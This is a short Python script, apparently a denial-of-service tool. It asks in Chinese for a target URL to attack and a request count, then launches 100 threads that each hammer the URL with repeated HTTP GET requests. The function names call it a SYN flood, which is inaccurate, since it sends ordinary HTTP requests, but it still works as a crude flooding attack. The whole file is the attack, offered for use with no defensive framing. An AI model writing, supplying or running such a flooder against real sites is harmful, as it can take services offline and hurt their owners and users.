import requests
import threading


def synflood(url, times):
    for i in range(0, times):
        response = requests.get(url)

def synflood_DDos():
    try:
        url = input("请输入要攻击的目标url：")
        times = int(input("请输入要攻击syn报文的数量："))
        for i in range(1, 101):
            t = threading.Thread(target=synflood, args=(url, times))
            t.start()
    except Exception:
        print("输入有误，请重新输入")


if __name__ == '__main__':
    synflood_DDos()